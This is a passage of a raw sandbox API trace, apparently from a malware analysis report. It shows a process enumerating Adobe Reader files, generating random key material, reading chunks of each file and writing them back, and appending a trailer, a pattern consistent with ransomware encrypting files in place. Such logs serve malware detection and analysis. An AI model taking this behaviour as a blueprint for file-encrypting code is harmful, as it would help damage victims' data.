_Dest=0x202aed10, _Source="fr_FR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR" [0240.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202aeec0 [0240.905] wcscpy (in: _Dest=0x202aeec0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR" [0240.905] wcscat (in: _Dest=0x202aeec0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\" [0240.905] wcscat (in: _Dest=0x202aeec0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*" [0240.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9b8e0 [0240.906] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*", lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c430 [0240.911] wcscmp (_String1=".", _String2=".") returned 0 [0240.911] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.911] wcscmp (_String1="..", _String2=".") returned 1 [0240.911] wcscmp (_String1="..", _String2="..") returned 0 [0240.911] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.FRA", cAlternateFileName="ACCESS~1.FRA")) returned 1 [0240.911] wcscmp (_String1="accessibility.FRA", _String2=".") returned 1 [0240.911] wcscmp (_String1="accessibility.FRA", _String2="..") returned 1 [0240.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x431462a0 [0240.912] wcscpy (in: _Dest=0x431462a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR" [0240.912] wcscat (in: _Dest=0x431462a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\" [0240.912] wcscat (in: _Dest=0x431462a0, _Source="accessibility.FRA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\accessibility.FRA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\accessibility.FRA" [0240.912] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\accessibility.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\accessibility.fra")) returned 0x20 [0240.915] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\accessibility.FRA", dwFileAttributes=0x20) returned 1 [0240.916] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\accessibility.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\accessibility.fra"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2e6c [0240.917] GetFileSizeEx (in: hFile=0x2e6c, lpFileSize=0x340bfcb0 | out: lpFileSize=0x340bfcb0*=46592) returned 1 [0240.917] SetFilePointerEx (in: hFile=0x2e6c, liDistanceToMove=0xb5fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.917] ReadFile (in: hFile=0x2e6c, lpBuffer=0x340bfc30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x340bfc78, lpOverlapped=0x0 | out: lpBuffer=0x340bfc30*, lpNumberOfBytesRead=0x340bfc78*=0x4, lpOverlapped=0x0) returned 1 [0240.919] SetFilePointerEx (in: hFile=0x2e6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7890 [0240.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7aa0 [0240.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0240.921] NtQuerySystemTime (in: CurrentTime=0x340bfb70 | out: CurrentTime=0x340bfb70*=132462178447246000) returned 0x0 [0240.921] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x12704a16 [0240.921] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x3ad01e1a [0240.921] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x91d8485 [0240.921] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x334fcf88 [0240.921] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x678b0afe [0240.921] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x654d6be1 [0240.921] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x3074cf74 [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x5ece5c59 [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x60611f67 [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x56df945b [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x14240967 [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x36c84c91 [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x7841174 [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x42e864a2 [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x1cfb8d80 [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x615db166 [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0xa21dde3 [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x1b1f6f5b [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x114a4416 [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x71e7ef93 [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x60094144 [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x25ea9d8a [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x3fea835 [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x2b8a3829 [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x35fc8dc0 [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x2b726ad [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x3a948a0a [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x39f9e25a [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x1435d6ee [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x19713be3 [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x3494c5bc [0240.922] RtlRandomEx (in: Seed=0x340bfb60 | out: Seed=0x340bfb60) returned 0x721b66fd [0240.923] SetFilePointerEx (in: hFile=0x2e6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.924] ReadFile (in: hFile=0x2e6c, lpBuffer=0x41b53cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x340bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x41b53cc0*, lpNumberOfBytesRead=0x340bfbd0*=0x3c00, lpOverlapped=0x0) returned 1 [0240.925] SetFilePointerEx (in: hFile=0x2e6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0240.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8687c0 [0240.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7890 [0240.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7890) returned 1 [0240.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b71d40 [0240.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7890 [0240.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0240.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0240.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 [0240.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0240.931] WriteFile (hFile=0x2e6c, lpBuffer=0x41b71d40, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x340bfbd0, lpOverlapped=0x0) Thread: id = 2051 os_tid = 0x130c [0137.909] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pdfsigqformalrep.pdf")) returned 0x20 [0137.910] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf", dwFileAttributes=0x20) returned 1 [0137.911] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pdfsigqformalrep.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e48 [0137.911] GetFileSizeEx (in: hFile=0x1e48, lpFileSize=0x34b4fcc0 | out: lpFileSize=0x34b4fcc0*=468206) returned 1 [0137.911] SetFilePointerEx (in: hFile=0x1e48, liDistanceToMove=0x724ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.911] ReadFile (in: hFile=0x1e48, lpBuffer=0x34b4fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34b4fc88, lpOverlapped=0x0 | out: lpBuffer=0x34b4fc40*, lpNumberOfBytesRead=0x34b4fc88*=0x4, lpOverlapped=0x0) returned 1 [0137.916] SetFilePointerEx (in: hFile=0x1e48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b90 [0137.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e90 [0137.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0137.916] NtQuerySystemTime (in: CurrentTime=0x34b4fb80 | out: CurrentTime=0x34b4fb80*=132462177431530000) returned 0x0 [0137.916] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x3c7e01fa [0137.916] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x707871c7 [0137.916] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x653ee9ba [0137.916] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x312f3676 [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x59f2c552 [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x6273631f [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x5d752f6d [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x5f462cc [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x1c1f2b0f [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x50c7e766 [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x67bac425 [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x335fa9cd [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0xad10cd0 [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x4f17d96e [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x422dc32b [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x58c846b4 [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x6ac70899 [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x1593d39f [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x458606bf [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x645b87f0 [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x7ec310b6 [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x10608f48 [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x46b4b2b5 [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x6f0b9967 [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x48500adc [0137.917] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x13fe55f9 [0137.918] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x3ddaa889 [0137.918] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x3604e860 [0137.918] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x370c6717 [0137.918] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x12f66fd2 [0137.918] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x719070d5 [0137.918] RtlRandomEx (in: Seed=0x34b4fb70 | out: Seed=0x34b4fb70) returned 0x4128afb3 [0137.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b30 [0137.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060cb0 [0137.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263500 [0137.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0137.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c20) returned 1 [0137.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b90) returned 1 [0137.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203590f0 [0137.928] SetFilePointerEx (in: hFile=0x1e48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.928] ReadFile (in: hFile=0x1e48, lpBuffer=0x203590f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34b4fbe0, lpOverlapped=0x0 | out: lpBuffer=0x203590f0*, lpNumberOfBytesRead=0x34b4fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0137.934] SetFilePointerEx (in: hFile=0x1e48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0137.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060cb0 [0137.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b90 [0137.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b90) returned 1 [0137.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20373560 [0137.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b90 [0137.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0137.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c20) returned 1 [0137.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0137.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0137.936] WriteFile (hFile=0x1e48, lpBuffer=0x20373560, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34b4fbe0, lpOverlapped=0x0) [0172.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20373560) returned 1 [0172.969] SetFilePointerEx (in: hFile=0x1e48, liDistanceToMove=0x3c000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.969] ReadFile (in: hFile=0x1e48, lpBuffer=0x203590f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34b4fbe0, lpOverlapped=0x0 | out: lpBuffer=0x203590f0*, lpNumberOfBytesRead=0x34b4fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0173.046] SetFilePointerEx (in: hFile=0x1e48, liDistanceToMove=0x3c000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059470 [0173.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505110 [0173.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3790 [0173.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3790) returned 1 [0173.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4221a920 [0173.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3790 [0173.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f36d0 [0173.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f36d0) returned 1 [0173.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505110) returned 1 [0173.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059470) returned 1 [0173.049] WriteFile (in: hFile=0x1e48, lpBuffer=0x4221a920*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34b4fbe0, lpOverlapped=0x0 | out: lpBuffer=0x4221a920*, lpNumberOfBytesWritten=0x34b4fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4221a920) returned 1 [0187.198] SetFilePointerEx (in: hFile=0x1e48, liDistanceToMove=0x6e8ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.198] ReadFile (in: hFile=0x1e48, lpBuffer=0x203590f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34b4fbe0, lpOverlapped=0x0 | out: lpBuffer=0x203590f0*, lpNumberOfBytesRead=0x34b4fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.735] SetFilePointerEx (in: hFile=0x1e48, liDistanceToMove=0x6e8ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139370 [0190.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139370) returned 1 [0190.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42f7f4c0 [0190.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139370 [0190.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431393a0 [0190.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431393a0) returned 1 [0190.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.738] WriteFile (in: hFile=0x1e48, lpBuffer=0x42f7f4c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34b4fbe0, lpOverlapped=0x0 | out: lpBuffer=0x42f7f4c0*, lpNumberOfBytesWritten=0x34b4fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f7f4c0) returned 1 [0205.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319fd00 [0205.374] SetFilePointerEx (in: hFile=0x1e48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.374] WriteFile (in: hFile=0x1e48, lpBuffer=0x1ceb9010*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x34b4fc90, lpOverlapped=0x0 | out: lpBuffer=0x1ceb9010*, lpNumberOfBytesWritten=0x34b4fc90*=0x15a, lpOverlapped=0x0) returned 1 [0208.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0208.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b550 [0208.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b550) returned 1 [0208.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4205b550 [0208.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b520 [0208.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b400 [0208.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b400) returned 1 [0208.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0208.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b858850 [0208.777] sprintf (in: _Dest=0x1b858850, _Format="%c%c" | out: _Dest="97") returned 2 [0208.778] sprintf (in: _Dest=0x1b858852, _Format="%c%c" | out: _Dest="34") returned 2 [0208.778] sprintf (in: _Dest=0x1b858854, _Format="%c%c" | out: _Dest="c6") returned 2 [0208.778] sprintf (in: _Dest=0x1b858856, _Format="%c%c" | out: _Dest="c1") returned 2 [0208.778] sprintf (in: _Dest=0x1b858858, _Format="%c%c" | out: _Dest="e5") returned 2 [0208.778] sprintf (in: _Dest=0x1b85885a, _Format="%c%c" | out: _Dest="a5") returned 2 [0208.778] sprintf (in: _Dest=0x1b85885c, _Format="%c%c" | out: _Dest="85") returned 2 [0208.778] sprintf (in: _Dest=0x1b85885e, _Format="%c%c" | out: _Dest="d6") returned 2 [0208.778] sprintf (in: _Dest=0x1b858860, _Format="%c%c" | out: _Dest="1d") returned 2 [0208.778] sprintf (in: _Dest=0x1b858862, _Format="%c%c" | out: _Dest="83") returned 2 [0208.778] sprintf (in: _Dest=0x1b858864, _Format="%c%c" | out: _Dest="4c") returned 2 [0208.778] sprintf (in: _Dest=0x1b858866, _Format="%c%c" | out: _Dest="2d") returned 2 [0208.778] sprintf (in: _Dest=0x1b858868, _Format="%c%c" | out: _Dest="50") returned 2 [0208.778] sprintf (in: _Dest=0x1b85886a, _Format="%c%c" | out: _Dest="b5") returned 2 [0208.778] sprintf (in: _Dest=0x1b85886c, _Format="%c%c" | out: _Dest="83") returned 2 [0208.778] sprintf (in: _Dest=0x1b85886e, _Format="%c%c" | out: _Dest="98") returned 2 [0208.778] sprintf (in: _Dest=0x1b858870, _Format="%c%c" | out: _Dest="30") returned 2 [0208.778] sprintf (in: _Dest=0x1b858872, _Format="%c%c" | out: _Dest="fe") returned 2 [0208.778] sprintf (in: _Dest=0x1b858874, _Format="%c%c" | out: _Dest="1a") returned 2 [0208.778] sprintf (in: _Dest=0x1b858876, _Format="%c%c" | out: _Dest="cb") returned 2 [0208.778] sprintf (in: _Dest=0x1b858878, _Format="%c%c" | out: _Dest="eb") returned 2 [0208.778] sprintf (in: _Dest=0x1b85887a, _Format="%c%c" | out: _Dest="bb") returned 2 [0208.778] sprintf (in: _Dest=0x1b85887c, _Format="%c%c" | out: _Dest="c3") returned 2 [0208.778] sprintf (in: _Dest=0x1b85887e, _Format="%c%c" | out: _Dest="4f") returned 2 [0208.779] sprintf (in: 